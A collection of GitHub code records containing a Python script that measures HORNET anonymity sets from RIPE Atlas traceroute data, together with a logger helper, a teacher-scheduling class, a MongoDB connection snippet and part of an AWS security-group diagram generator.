datetimes:\n anon_set.update(anonymity_set(msm_id, observation, observation_fn,\n observation_eq_fn, dt))\n\n return anon_set\n\ndef asns_are_indistinguishable(x, y):\n if x == None or y == None:\n return False\n\n if x == BAD_RESOLVE and y == BAD_RESOLVE:\n return True\n\n x_set = split_asn_set(x)\n y_set = split_asn_set(y)\n\n return len(x_set.intersection(y_set)) > 0\n\ndef asn_is_unambig(asn):\n # Basic validity check\n if asn is None or len(asn) == 0:\n return False\n if asn == BAD_RESOLVE:\n return False\n return True\n\ndef common_probes(probe_paths_t1, probe_paths_t2):\n return list(sorted(probe_paths_t1.keys() & probe_paths_t2.keys()))\n\ndef common_probe_locations(msm_id, analysis_interval):\n start_paths = probe_paths_cached(msm_id, analysis_interval[0])\n end_paths = probe_paths_cached(msm_id, analysis_interval[-1])\n\n probes = common_probes(start_paths, end_paths)\n\n probe_locs = defaultdict(list)\n\n for dt in analysis_interval:\n probe_paths = probe_paths_cached(msm_id, dt)\n for probe in probes:\n if probe in probe_paths:\n path = probe_paths[probe]\n probe_locs[probe].append(path[0])\n\n return probe_locs\n\ncommon_probe_locations_cached = None\n\ndef datetimes_from_stride(dt, stride_seconds, num_strides, stride_factor=1):\n datetimes = [dt]\n\n for idx in range(1, num_strides + 1):\n num_seconds = stride_seconds * idx * stride_factor\n datetimes.append(dt + datetime.timedelta(seconds=num_seconds))\n\n return datetimes\n\ndef define_common_probe_locations_cached(cache):\n global common_probe_locations_cached\n\n def key_fn(msm_id, analysis_interval):\n interval_bytes = ujson.dumps(analysis_interval).encode('utf-8')\n hash_v = hashlib.md5(interval_bytes).hexdigest()\n return (\"{} - {}\".format(msm_id, hash_v))\n\n common_probe_locations_cached = persistent_lru.add_persistent_caching(\n common_probe_locations,\n \"common_probe_locations\",\n key_fn,\n cache,\n False\n )\n\ndef define_hornet_obs_seqs_cached(cache):\n global hornet_obs_seqs_cached\n\n def key_fn(probes, analysis_interval, msm_id):\n probe_bytes = ujson.dumps(sorted(probes)).encode('utf-8')\n interval_bytes = ujson.dumps(analysis_interval).encode('utf-8')\n hash_1 = hashlib.md5(probe_bytes).hexdigest()\n hash_2 = hashlib.md5(interval_bytes).hexdigest()\n return (\"{} - {} - {}\".format(msm_id, hash_1, hash_2))\n\n hornet_obs_seqs_cached = persistent_lru.add_persistent_caching(\n hornet_obs_seqs,\n \"hornet_obs_seqs\",\n key_fn,\n cache,\n False\n )\n\ndef define_pfx2as_cached(cache):\n global pfx2as_cached\n\n def key_fn(dt):\n best_url = caida_routeviews.best_pfx2as_url(dt)\n return best_url\n\n pfx2as_cached = persistent_lru.add_persistent_caching(\n caida_routeviews.dl_pfx2as_closest_to_datetime,\n \"pfx2as\",\n key_fn,\n cache,\n False\n )\n\ndef define_probe_paths_cached(cache):\n global probe_paths_cached\n\n def key_fn(msm_id, start_datetime):\n start_datetime = round_datetime_to_interval(start_datetime, msm_id)\n return \"{} {}\".format(msm_id, str(start_datetime))\n\n probe_paths_cached =\\\n persistent_lru.add_persistent_caching(probe_paths, \"paths\", key_fn,\n cache, True)\n\ndef hornet_adv_obs(path):\n if path is None:\n return None\n else:\n return path[1][-2]\n\ndef hornet_analyze_boundary_asn(msm_id, probe_id, boundary, num_strides=4):\n t0, t1 = boundary\n p0 = probe_path_at_time(msm_id, probe_id, t0)\n p1 = probe_path_at_time(msm_id, probe_id, t1)\n\n t0_obs = hornet_adv_obs(p0)\n t1_obs = hornet_adv_obs(p1)\n\n interval = ripe_atlas.msm_interval(msm_id)\n\n t0_date_range = datetimes_from_stride(t1, interval, num_strides, -1)\n t1_date_range = datetimes_from_stride(t0, interval, num_strides, 1)\n\n t0_anon = anonymity_set_wide(msm_id, t0_obs, hornet_adv_obs,\n asns_are_indistinguishable, t0_date_range)\n\n t1_anon = anonymity_set_wide(msm_id, t1_obs, hornet_adv_obs,\n asns_are_indistinguishable, t1_date_range)\n\n t0_ases = probe_times_to_uniq_ases(msm_id, t0_anon)\n t1_ases = probe_times_to_uniq_ases(msm_id, t1_anon)\n\n itc_ases = t0_ases.intersection(t1_ases)\n\n return len(t0_ases), len(itc_ases)\n\ndef hornet_analyze_boundary_pfx(msm_id, probe_id, boundary, num_strides=4):\n t0, t1 = boundary\n p0 = probe_path_at_time(msm_id, probe_id, t0)\n p1 = probe_path_at_time(msm_id, probe_id, t1)\n\n t0_obs = hornet_adv_obs(p0)\n t1_obs = hornet_adv_obs(p1)\n\n interval = ripe_atlas.msm_interval(msm_id)\n\n t0_date_range = datetimes_from_stride(t1, interval, num_strides, -1)\n t1_date_range = datetimes_from_stride(t0, interval, num_strides, 1)\n\n t0_anon = anonymity_set_wide(msm_id, t0_obs, hornet_adv_obs,\n asns_are_indistinguishable, t0_date_range)\n\n t1_anon = anonymity_set_wide(msm_id, t1_obs, hornet_adv_obs,\n asns_are_indistinguishable, t1_date_range)\n\n t0_prefixes = probe_times_to_uniq_pfxs(msm_id, t0_anon)\n t1_prefixes = probe_times_to_uniq_pfxs(msm_id, t1_anon)\n\n itc_pfxs = t0_prefixes.intersection(t1_prefixes)\n\n t0_num_addrs = num_ipv4_addrs(t0_prefixes)\n itc_num_addrs = num_ipv4_addrs(itc_pfxs)\n\n return t0_num_addrs, itc_num_addrs\n\ndef hornet_analyze_boundaries(msm_id, probe_id, boundaries, num_strides=4):\n\n found_result = False\n\n for (t0, t1) in boundaries:\n if t0 == None or t1 == None:\n continue\n\n p0 = probe_path_at_time(msm_id, probe_id, t0)\n p1 = probe_path_at_time(msm_id, probe_id, t1)\n if p0 is None or p1 is None or (p0[0] != p1[0]):\n s = \"Ignoring boundary {} - {} with location {} change to {}\"\n logging.info(s.format(str(t0), str(t1), p0, p1))\n\n t0_obs = hornet_adv_obs(p0)\n t1_obs = hornet_adv_obs(p1)\n\n if not asn_is_unambig(t0_obs) or not asn_is_unambig(t1_obs):\n s = \"Ignoring boundary {} - {} with hop {} change to {}\"\n logging.info(s.format(str(t0), str(t1), t0_obs, t1_obs))\n continue\n\n interval = ripe_atlas.msm_interval(msm_id)\n\n # Overlapping intervals?\n t0_date_range = datetimes_from_stride(t1, interval, num_strides, -1)\n t1_date_range = datetimes_from_stride(t0, interval, num_strides, 1)\n\n all_probes = all_known_probes(msm_id, t0_date_range)\n all_valid = all_probes_with_valid_obs(msm_id, hornet_adv_obs,\n asn_is_unambig, t0_date_range)\n\n out_0 = probe_times_stats(msm_id, all_probes)\n out_1 = probe_times_stats(msm_id, all_valid)\n\n prv = anonymity_set_wide(msm_id, t0_obs, hornet_adv_obs,\n asns_are_indistinguishable, t0_date_range)\n\n out_2 = probe_times_stats(msm_id, prv)\n\n prv_ases = probe_times_to_uniq_ases(msm_id, prv)\n prv_pfxs = probe_times_to_uniq_pfxs(msm_id, prv)\n prv_probes = probe_times_to_uniq_probes(prv)\n\n nxt = anonymity_set_wide(msm_id, t1_obs, hornet_adv_obs,\n asns_are_indistinguishable, t1_date_range)\n\n nxt_ases = probe_times_to_uniq_ases(msm_id, nxt)\n nxt_pfxs = probe_times_to_uniq_pfxs(msm_id, nxt)\n nxt_probes = probe_times_to_uniq_probes(nxt)\n\n itc_ases = prv_ases.intersection(nxt_ases)\n itc_pfxs = prv_pfxs.intersection(nxt_pfxs)\n itc_probes = prv_probes.intersection(nxt_probes)\n\n itc_addrs = num_ipv4_addrs(itc_pfxs)\n itc_pct = pct_ipv4_addrs(itc_pfxs)\n\n out_3 = (len(itc_probes), len(itc_pfxs), itc_addrs, itc_pct,\n len(itc_ases))\n\n out = (msm_id, probe_id, t0, t1, t0_obs, t1_obs) + out_0 + out_1 +\\\n out_2 + out_3\n\n print(\",\".join(map(lambda x: str(x), out)))\n\n found_result = True\n\n break\n\n if not found_result:\n out = (msm_id, probe_id, \"NIL\")\n print(\",\".join(map(lambda x: str(x), out)))\n\ndef hornet_candidate_score(probe_path_t1, probe_path_t2,\n t1_obs_frq, t2_obs_frq):\n if probe_path_t1[0] != probe_path_t2[0]: # Probe changed network location\n return 0.0\n\n o1 = hornet_adv_obs(probe_path_t1)\n o2 = hornet_adv_obs(probe_path_t2)\n\n if (o1 == BAD_RESOLVE or o2 == BAD_RESOLVE):\n # Avoid traceroutes where the previous hop was a *\n return 0.0\n\n if asns_are_indistinguishable(o1, o2):\n return 0.0\n\n return t1_obs_frq[o1] / t2_obs_frq[o2]\n\ndef hornet_diffs(msm_id, start_datetime, end_datetime):\n changed_probes = []\n\n start_paths = probe_paths_cached(msm_id, start_datetime)\n end_paths = probe_paths_cached(msm_id, end_datetime)\n\n probes = common_probes(start_paths, end_paths)\n\n for probe in probes:\n probe_path_t0 = start_paths[probe]\n probe_path_t1 = end_paths[probe]\n\n if probe_path_t0[0] != probe_path_t1[0]: # Probe changed location\n continue\n\n t0_obs = hornet_adv_obs(probe_path_t0)\n t1_obs = hornet_adv_obs(probe_path_t1)\n\n if t0_obs == BAD_RESOLVE or t1_obs == BAD_RESOLVE:\n continue\n\n if not asns_are_indistinguishable(t0_obs, t1_obs):\n changed_probes.append(probe)\n\n return changed_probes\n\nhornet_obs_seqs_cached = None\n\ndef hornet_obs_seqs(probes, analysis_interval, msm_id):\n probe_to_hornet_obs = defaultdict(list)\n\n for dt in analysis_interval:\n probe_paths = probe_paths_cached(msm_id, dt)\n for probe in probes:\n if probe not in probe_paths:\n probe_to_hornet_obs[probe].append((None, dt))\n else:\n path = probe_paths[probe]\n probe_to_hornet_obs[probe].append((hornet_adv_obs(path), dt))\n\n return probe_to_hornet_obs\n\ndef hornet_obs_frq(probe_paths):\n c = Counter()\n\n for value in probe_paths.values():\n c[hornet_adv_obs(value)] += 1\n\n num_observations = sum(c.values())\n\n for key in c.keys():\n c[key] /= num_observations\n\n return c\n\ndef hornet_scores(msm_id, start_datetime, end_datetime):\n\n start_paths = probe_paths_cached(msm_id, start_datetime)\n end_paths = probe_paths_cached(msm_id, end_datetime)\n\n start_path_obs_frq = hornet_obs_frq(start_paths)\n end_path_obs_frq = hornet_obs_frq(end_paths)\n\n probe_scores = []\n\n for probe_id in common_probes(start_paths, end_paths):\n sp = start_paths[probe_id]\n ep = end_paths[probe_id]\n score = hornet_candidate_score(sp, ep, start_path_obs_frq,\n end_path_obs_frq)\n probe_scores.append((probe_id, score))\n\n probe_scores = sorted(probe_scores, key=lambda x: x[1], reverse=True)\n\n return probe_scores\n\ndef ip_addr_to_asn(ip_addr, prefix_tree):\n if ip_addr is None or len(ip_addr) == 0:\n return None\n if ip_addr not in prefix_tree:\n return None\n else:\n return prefix_tree[ip_addr]\n\ndef ip_addr_to_pfx(ip_addr, prefix_tree):\n if ip_addr is None or len(ip_addr) == 0:\n return None\n if ip_addr not in prefix_tree:\n return None\n else:\n return prefix_tree.get_key(ip_addr)\n\ndef jaccard_idx(a, b):\n return len(a.intersection(b)) / len(a.union(b))\n\ndef list_of_boundaries(hornet_obs_seq):\n ret = list()\n possible_boundaries = itertools.zip_longest(hornet_obs_seq[:-1],\n hornet_obs_seq[1:])\n\n for x, y in possible_boundaries:\n if x[0] is None or y[0] is None:\n continue\n if x[0] == BAD_RESOLVE or y[0] == BAD_RESOLVE:\n continue\n if not asns_are_indistinguishable(x[0], y[0]):\n t0 = datetime.datetime.fromtimestamp(x[1], datetime.timezone.utc)\n t1 = datetime.datetime.fromtimestamp(y[1], datetime.timezone.utc)\n ret.append((t0, t1))\n\n return ret\n\ndef main(args):\n\n random.seed(313)\n\n std_format =\\\n (\"[%(asctime)s %(process)d %(filename)s %(funcName)s %(levelname)s\" +\n \"] -- %(message)s\")\n\n logging.basicConfig(format=std_format, stream=sys.stderr,\n level=logging.INFO)\n\n cache = persistent_lru.PersistentLRU(args.cache_filename, 8096)\n cache.load()\n atexit.register(cache.close)\n\n define_probe_paths_cached(cache)\n define_pfx2as_cached(cache)\n\n msm_id = args.msm_id\n\n start_datetime = datetime.datetime(year=2016, month=1, day=1,\n tzinfo=datetime.timezone.utc)\n\n end_datetime = datetime.datetime(year=2016, month=2, day=1,\n tzinfo=datetime.timezone.utc)\n\n print(\",\".join(HORNET_HDR))\n\n diff_probes = hornet_diffs(msm_id, start_datetime, end_datetime)\n\n logging.info(\"{} probes with a HORNET diff\".format(len(diff_probes)))\n\n as_thresh = 50\n\n sampled_probes = sample_probes_by_as_thresh(msm_id, diff_probes,\n start_datetime, as_thresh)\n\n for probe_id in sampled_probes:\n\n logging.info(\"PROBE ID: {}\".format(probe_id))\n start_path = probe_path_at_time(msm_id, probe_id, start_datetime)\n end_path = probe_path_at_time(msm_id, probe_id, end_datetime)\n logging.info(\"Start path {} at {}\".format(start_path,\n str(start_datetime)))\n logging.info(\"End path {} at {}\".format(end_path, str(end_datetime)))\n\n boundaries = search_for_boundaries(msm_id, probe_id, start_datetime,\n end_datetime)\n\n hornet_analyze_boundaries(msm_id, probe_id, boundaries)\n\ndef make_pfx_to_probes(msm_id, probes, dt):\n\n pfx_to_probes = defaultdict(list)\n\n paths = probe_paths_cached(msm_id, dt)\n for probe_id in probes:\n pfx_to_probes[paths[probe_id][0][1]].append(probe_id)\n\n return pfx_to_probes\n\ndef num_ipv4_addrs(pfxs):\n num_addrs = 0\n\n for pfx in pfxs:\n num_addrs += ipaddress.ip_network(pfx).num_addresses\n\n return num_addrs\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"msm_id\", type=int)\n parser.add_argument(\"start_date\", help=\"Format: YYYY-mm-dd\")\n parser.add_argument(\"end_date\", help=\"Format: YYYY-mm-dd\")\n\n parser.add_argument(\"--cache_filename\", default=\"cache.db\")\n parser.add_argument(\"--num_top_probes\", type=int, default=50)\n\n return parser.parse_args()\n\ndef pct_ipv4_addrs(pfxs):\n return num_ipv4_addrs(pfxs) / num_allocable_ipv4_addrs()\n\ndef num_allocable_ipv4_addrs():\n return 2**32 - num_reserved_ipv4_addrs()\n\ndef num_reserved_ipv4_addrs():\n num_reserved_addrs = 0\n\n reserved_ranges = [\n \"0.0.0.0/8\",\n \"10.0.0.0/8\",\n \"100.64.0.0/10\",\n \"127.0.0.0/8\",\n \"169.254.0.0/16\",\n \"172.16.0.0/12\",\n \"192.0.0.0/24\",\n \"192.0.2.0/24\",\n \"192.88.99.0/24\",\n \"192.168.0.0/16\",\n \"198.18.0.0/15\",\n \"198.51.100.0/24\",\n \"203.0.113.0/24\",\n \"224.0.0.0/4\",\n \"240.0.0.0/4\",\n \"255.255.255.255/32\"\n ]\n\n for reserved_range in reserved_ranges:\n num_reserved_addrs +=\\\n ipaddress.ip_network(reserved_range).num_addresses\n\n return num_reserved_addrs\n\npfx2as_cached = None\n\ndef probe_path_at_time(msm_id, probe_id, dt):\n paths = probe_paths_cached(msm_id, dt)\n\n if probe_id not in paths:\n return None\n else:\n return paths[probe_id]\n\ndef probe_paths(msm_id, start_datetime):\n start_datetime = round_datetime_to_interval(start_datetime, msm_id)\n\n probe_to_interval_results =\\\n ripe_atlas.make_probe_to_interval_results(msm_id, start_datetime)\n\n pfx2as_file_contents = pfx2as_cached(start_datetime)\n\n prefix_tree = prefix_to_as.prefix_tree_from_pfx2as(pfx2as_file_contents)\n\n remove_bad_origin_probes(probe_to_interval_results, prefix_tree)\n\n ret = dict()\n\n for probe_id, result in probe_to_interval_results.items():\n ip_addr = result[\"origin_addr\"]\n network_loc = (ip_addr, ip_addr_to_pfx(ip_addr, prefix_tree),\n ip_addr_to_asn(ip_addr, prefix_tree))\n\n ret[probe_id] = (network_loc,\n resolve_probe_results_to_as_path(result, prefix_tree))\n\n return ret\n\nprobe_paths_cached = None\n\ndef probe_times_stats(msm_id, probe_times):\n uniq_ases = probe_times_to_uniq_ases(msm_id, probe_times)\n uniq_pfxs = probe_times_to_uniq_pfxs(msm_id, probe_times)\n uniq_probes = probe_times_to_uniq_probes(probe_times)\n\n num_ases = len(uniq_ases)\n num_pfxs = len(uniq_pfxs)\n num_probes = len(uniq_probes)\n\n num_addrs = num_ipv4_addrs(uniq_pfxs)\n pct_addrs = pct_ipv4_addrs(uniq_pfxs)\n\n return (num_probes, num_pfxs, num_addrs, pct_addrs, num_ases)\n\ndef probe_time_to_as(msm_id, probe_id, dt):\n paths = probe_paths_cached(msm_id, dt)\n return paths[probe_id][0][2]\n\ndef probe_time_to_pfx(msm_id, probe_id, dt):\n paths = probe_paths_cached(msm_id, dt)\n return paths[probe_id][0][1]\n\ndef probe_times_to_uniq_ases(msm_id, probe_times):\n uniq_ases = set()\n\n for probe, dt in probe_times:\n uniq_ases.update(split_asn_set(probe_time_to_as(msm_id, probe, dt)))\n\n return uniq_ases\n\ndef probe_times_to_uniq_pfxs(msm_id, probe_times):\n uniq_pfxs = set()\n\n for probe, dt in probe_times:\n uniq_pfxs.add(probe_time_to_pfx(msm_id, probe, dt))\n\n return uniq_pfxs\n\ndef probe_times_to_uniq_probes(probe_times):\n uniq_probes = set()\n\n for probe, dt in probe_times:\n uniq_probes.add(probe)\n\n return uniq_probes\n\ndef process_unmapped_intra_as_hops(as_path):\n if len(as_path) < 3:\n return as_path\n else:\n slice = as_path[0:3]\n if slice[0] == slice[2] and slice[1] == BAD_RESOLVE:\n return process_unmapped_intra_as_hops([as_path[0]] + as_path[3:])\n else:\n return [as_path[0]] + process_unmapped_intra_as_hops(as_path[1:])\n\ndef replace_private_addrs(ip_addrs, origin_addr):\n return list(map(lambda x: (origin_addr if\n ipaddress.ip_address(x).is_private else x),\n ip_addrs))\n\ndef remove_bad_origin_probes(probe_to_interval_results, prefix_tree):\n probes_to_remove = list()\n\n for probe_id, probe_result in probe_to_interval_results.items():\n if probe_result[\"origin_addr\"] not in prefix_tree:\n probes_to_remove.append(probe_id)\n\n for probe_id in probes_to_remove:\n logging.info(\"Removing probe {} (bad origin)\".format(probe_id))\n del probe_to_interval_results[probe_id]\n\ndef resolve_probe_results_to_as_path(probe_result, prefix_tree):\n origin_addr = probe_result[\"origin_addr\"]\n origin_as = prefix_tree[probe_result[\"origin_addr\"]]\n as_path = []\n in_src_as = True\n\n for hop_results in probe_result[\"ip_path\"]:\n valid_hop_results = filter(lambda x: x is not None, hop_results)\n if in_src_as:\n valid_hop_results = replace_private_addrs(valid_hop_results,\n origin_addr)\n\n resolved_hop_results = resolve_hop_results(hop_results, prefix_tree)\n\n if resolved_hop_results_are_unambig(resolved_hop_results):\n asn = resolved_hop_results[0]\n else:\n asn = BAD_RESOLVE\n\n if len(as_path) == 0 or as_path[-1] != asn:\n as_path.append(asn)\n\n if in_src_as and asn != origin_as:\n in_src_as = False\n\n if as_path[0] != origin_as:\n as_path.insert(0, origin_as)\n\n return process_unmapped_intra_as_hops(as_path)\n\ndef resolve_hop_results(hop_results, prefix_tree):\n ret = map(lambda x: ip_addr_to_asn(x, prefix_tree), hop_results)\n return list(filter(lambda x: x is not None, ret))\n\ndef resolved_hop_results_are_unambig(resolved_hop_results):\n unique_asns_with_mapping = set(resolved_hop_results)\n return (len(unique_asns_with_mapping) == 1 and\n asn_is_unambig(unique_asns_with_mapping.pop()))\n\ndef round_datetime_to_interval(dt, msm_id):\n ts = int(dt.timestamp())\n interval = ripe_atlas.msm_interval(msm_id)\n ts = ts - (ts % interval)\n dt = datetime.datetime.utcfromtimestamp(ts)\n return dt.replace(tzinfo=datetime.timezone.utc)\n\ndef sample_probes_by_as_thresh(msm_id, probes, dt, as_thresh,\n with_replacement=True):\n pfx_to_probes = make_pfx_to_probes(msm_id, probes, dt)\n pfx_list, cumul_probs = pfx_list_and_cumul_probs(pfx_to_probes)\n\n chosen_ases = set()\n chosen_probes = list()\n\n select_probe = lambda x: random.choice(pfx_to_probes[x])\n\n while (len(chosen_ases) < as_thresh):\n pfx = sample_generation.select_key_from_cumulative_probs(pfx_list,\n cumul_probs)\n probe = select_probe(pfx)\n if probe in chosen_probes and not with_replacement:\n continue\n else:\n chosen_probes.append(probe)\n chosen_ases.add(probe_time_to_as(msm_id, probe, dt))\n\n logging.info(\"Num ASes:\\t{}\".format(len(chosen_ases)))\n logging.info(\"Num Probes:\\t{}\".format(len(chosen_probes)))\n\n return chosen_probes\n\ndef pfx_list_and_cumul_probs(pfx_to_probes):\n pfx_to_prob = dict()\n\n for pfx in pfx_to_probes:\n pfx_to_prob[pfx] = ipaddress.ip_network(pfx).num_addresses\n\n total_num_addrs = float(sum(pfx_to_prob.values()))\n\n for pfx in pfx_to_prob:\n pfx_to_prob[pfx] /= total_num_addrs\n\n pfx_list, cumul_probs =\\\n sample_generation.make_key_list_and_cumulative_probs(pfx_to_prob)\n\n return pfx_list, cumul_probs\n\ndef search_for_boundaries(msm_id, probe_id, start_datetime, end_datetime):\n\n array_fn = lambda x: probe_path_at_time(msm_id, probe_id, x)\n\n key_fn = lambda x: None if x is None else hornet_adv_obs(x)\n\n idx_metric_fn = lambda x, y: abs(y.timestamp() - x.timestamp())\n\n def idx_mid_fn(x, y):\n ts = (x.timestamp() + y.timestamp()) / 2\n dt = datetime.datetime.utcfromtimestamp(ts)\n dt = dt.replace(tzinfo=datetime.timezone.utc)\n return round_datetime_to_interval(dt, msm_id)\n\n interval = ripe_atlas.msm_interval(msm_id)\n\n return boundary_search(array_fn, key_fn, idx_metric_fn, idx_mid_fn,\n start_datetime, end_datetime, interval)\n\ndef split_asn_set(asn):\n return set(re.split(ASN_DELIM_RE, asn))\n\ndef stable_loc_probes(msm_id, analysis_interval):\n probe_locs =\\\n common_probe_locations_cached(msm_id, analysis_interval)\n\n probes = list(probe_locs.keys())\n\n stable_probes = list()\n\n for p in probes:\n locs = map(lambda x: tuple(x[1:]), probe_locs[p])\n if len(set(locs)) == 1:\n stable_probes.append(p)\n\n return stable_probes\n\nif __name__ == \"__main__\":\n main(parse_args())\n","repo_name":"RWails/tempest","sub_path":"routing_changes/hornet/hornet.py","file_name":"hornet.py","file_ext":"py","file_size_in_byte":25588,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"42163655136","text":"#from controller import application\nimport os\nimport logging\nimport logging.handlers\n\n\ndef create_logger(log_file):\n logger_name = log_file.replace('.', '_')\n logger = logging.getLogger(logger_name)\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\"%(asctime)s - %(levelname)s\"\n \" - %(filename)s:%(lineno)d %(funcName)s\"\n \"- %(message)s\")\n if not logger.handlers:\n directory = './log/'\n if not os.path.exists(directory):\n os.makedirs(directory)\n handler = logging.handlers.RotatingFileHandler(\n directory + log_file, maxBytes=(1048576 * 10), backupCount=9)\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n # For logging to stderr\n if 'stream_handler' not in [each.get_name() for each in logger.handlers]:\n stream_handler = logging.StreamHandler()\n stream_handler.set_name('stream_handler')\n stream_handler.setFormatter(formatter)\n logger.addHandler(stream_handler)\n return logger","repo_name":"Shamanyu/ServiceRegistryProblem","sub_path":"app/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"43667768719","text":"class Teacher:\n def __init__(self, id, name, daysCanWork,\n daysWantWork, weight):\n self.id = id\n self.name = name\n self.shortName = shortenName(name)\n self.daysCanWork = daysCanWork\n self.daysCanWorkStr = daysToWorkBeautify(daysCanWork)\n self.daysWantWork = daysWantWork\n self.daysWantWorkStr = daysToWorkBeautify(daysWantWork)\n self.weight = weight\n\ndef shortenName(name):\n token = name.split(\" \")\n if len(token) == 3:\n return token[0] + token[1][0] + \". \" + token[2][0] + \".\"\n if len(token) == 2:\n if (token[1] != \"\"):\n return token[0] + token[1][0] + \".\"\n return token[0]\n\ndef daysToWorkBeautify(daysToWork):\n mapp = {1: \"Mon\", 2: \"Tue\", 3: \"Wen\", 4: \"Thu\", 5: \"Fri\", 6: \"Sat\"}\n \n daysToWork = daysToWork[1:-1].replace(\"],[\", \"];[\")\n tokens = daysToWork.split(\";\")\n string = \"\"\n for day in range(1,7):\n token = tokens[day-1]\n token = token[1:-1]\n classes = token.split(\",\")\n string = string + mapp[day] + \": \" \n for i in range(1,8):\n flag = False\n for clazz in classes:\n if clazz != \"\":\n if int(clazz) == i:\n flag = True\n string = string + \"\" + clazz\n if (i != 7):\n string = string = string + \",\"\n if not flag:\n string = string + \"no\"\n string = string + \";\\n\"\n\n return string","repo_name":"IlyaVolf/University-Timetable","sub_path":"PrologSolver/entities/Teacher.py","file_name":"Teacher.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"19940435264","text":"from pymongo import MongoClient\nfrom pymongo.server_api import ServerApi\nuri = \"\"\nclient = MongoClient(uri,\n tls=True,\n tlsCertificateKeyFile='',\n server_api=ServerApi('1'))\ndb = client['nikovolunteers']\ncollection = db['orders']\ndoc_count = collection.count_documents({})\nprint(doc_count)\n","repo_name":"Cu7ious/nikobot","sub_path":"scripts/examples/atlas_connection.py","file_name":"atlas_connection.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25769953085","text":"from diagrams import Diagram, Cluster, Edge\nfrom diagrams.aws.network import VPC, VPCPeering, RouteTable\nfrom schema_diagram_generator_input import check_input_json_against_schema\n\n\nGRAPH_ATTR = {\n \"splines\": \"polyline\",\n \"overlap\": \"false\",\n \"nodesep\": \"4\",\n \"ranksep\": \"2\",\n \"rankdir\": \"LR\",\n \"compound\": \"true\"\n}\nNODE_ATTR = {\n \"fontsize\": \"12\",\n}\nEDGE_ATTR = {\n \"fontsize\": \"11\",\n}\n\ndef generate_security_groups_diagram(json_data: dict, output_filename: str = \"security_groups_diagram\", outformat: str = \"png\", show: bool = False):\n if not isinstance(json_data, dict):\n raise ValueError(\"Input should be a dictionary\")\n\n\n\n check_input_json_against_schema(json_data)\n\n sg_nodes = {}\n pl_nodes = {}\n ipv4_cidr_nodes = {}\n ipv6_cidr_nodes = {}\n\n with Diagram(\"Security Groups Diagram\", show=show, filename=output_filename, graph_attr=GRAPH_ATTR, node_attr=NODE_ATTR, edge_attr=EDGE_ATTR, outformat=outformat) as diagram:\n\n\n accounts = extract_unique_account_ids(json_data)\n for account_id in accounts:\n if account_id is not None:\n with Cluster(f\"Account {account_id}\"):\n sgs = extract_security_groups_for_account(json_data, account_id)\n pls = extract_prefix_lists_for_account(json_data, account_id)\n\n with Cluster(f\"Security Groups\"):\n for sg in sgs:\n # if defined in state\n #print(sg)\n if sg.get(\"not_defined_in_state\") is False:\n sg_key = sg[\"id\"]\n sg_nodes[sg_key] = VPC(f'{sg[\"name\"]} ({sg[\"id\"]})')\n else:\n sg_key = sg[\"id\"]\n sg_nodes[sg_key] = VPC(f'not in state: {sg[\"id\"]}')\n\n\n with Cluster(f\"Prefix Lists\"):\n for pl in pls:\n pl_key = pl[\"id\"]\n pl_nodes[pl_key] = VPCPeering(f'{pl[\"name\"]} ({pl[\"id\"]})')\n \n\n\n ipv4_cidrs = extract_all_ipv4_cidrs(json_data)\n ipv6_cidrs = extract_all_ipv6_cidrs(json_data)\n #print(json_data.get(\"security_groups\", []))\n\n \n\n\n with Cluster(f\"IPv4 CIDR Ranges\"):\n\n for ipv4_cidr in ipv4_cidrs:\n ipv4_cidr_key = ipv4_cidr\n ipv4_cidr_nodes[ipv4_cidr_key] = RouteTable(ipv4_cidr)\n\n with Cluster(f\"IPv6 CIDR Ranges\"):\n for ipv6_cidr in ipv6_cidrs:\n ipv6_cidr_key = ipv6_cidr\n ipv6_cidr_nodes[ipv6_cidr_key] = RouteTable(ipv6_cidr)\n\n \n #print(json_data.get(\"security_groups\"))\n\n for sg in json_data.get(\"security_groups\", []):\n #print(sg)\n sg_key = sg[\"id\"]\n for rule in sg.get(\"ingress_rules\", []):\n\n #print(rule)\n \n\n \n\n for src_sg in (rule.get(\"source_security_group_ids\") if rule.get(\"source_security_group_ids\") is not None else []):\n if src_sg in sg_nodes:\n sg_nodes[src_sg] >> Edge(label=f\"{rule['from_port']}-{rule['to_port']} ({rule['protocol']})\") >> sg_nodes[sg_key] \n \n for cidr in (rule.get(\"cidr_blocks\") if rule.get(\"cidr_blocks\") is not None else []):\n if cidr in ipv4_cidr_nodes:\n ipv4_cidr_nodes[cidr] >> Edge(label=f\"{rule['from_port']}-{rule['to_port']} ({rule['protocol']})\") >> sg_nodes[sg_key]\n\n for ipv6_cidr in (rule.get(\"ipv6_cidr_blocks\") if rule.get(\"ipv6_cidr_blocks\") is not None else []):\n if ipv6_cidr in ipv6_cidr_nodes:\n ipv6_cidr_nodes[ipv6_cidr] >> Edge(label=f\"{rule['from_port']}-{rule['to_port']} ({rule['protocol']})\") >> sg_nodes[sg_key]\n \n for pl_id in (rule.get(\"prefix_list_ids\") if rule.get(\"prefix_list_ids\") is not None else []):\n if pl_id in pl_nodes:\n pl_nodes[pl_id] >> Edge(label=f\"{rule['from_port']}-{rule['to_port']} ({rule['protocol']})\") >> sg_nodes[sg_key]\n\n \n\n\ndef extract_unique_account_ids(data: dict) -> list:\n account_ids = set()\n\n for prefix_list in data.get('prefix_lists', []):\n account_ids.add(prefix_list.get('account_id'))\n\n for security_group in data.get('security_groups', []):\n account_ids.add(security_group.get('account_id'))\n\n return list(account_ids)\n\ndef extract_security_groups_for_account(data: dict, account_id: str) -> list:\n return [sg for sg in data.get('security_groups', []) if sg.get('account_id') == account_id]\n\ndef extract_prefix_lists_for_account(data: dict, account_id: str) -> list:\n return [pl for pl in data.get('prefix_lists', []) if pl.get('account_id') == account_id]\n\ndef extract_all_ipv4_cidrs(data: dict) -> list:\n ipv4_cidrs = set()\n for sg in data.get('security_groups', []):\n for rule in sg.get('ingress_rules', []):\n cidr_blocks = rule.get('cidr_blocks')\n if cidr_blocks 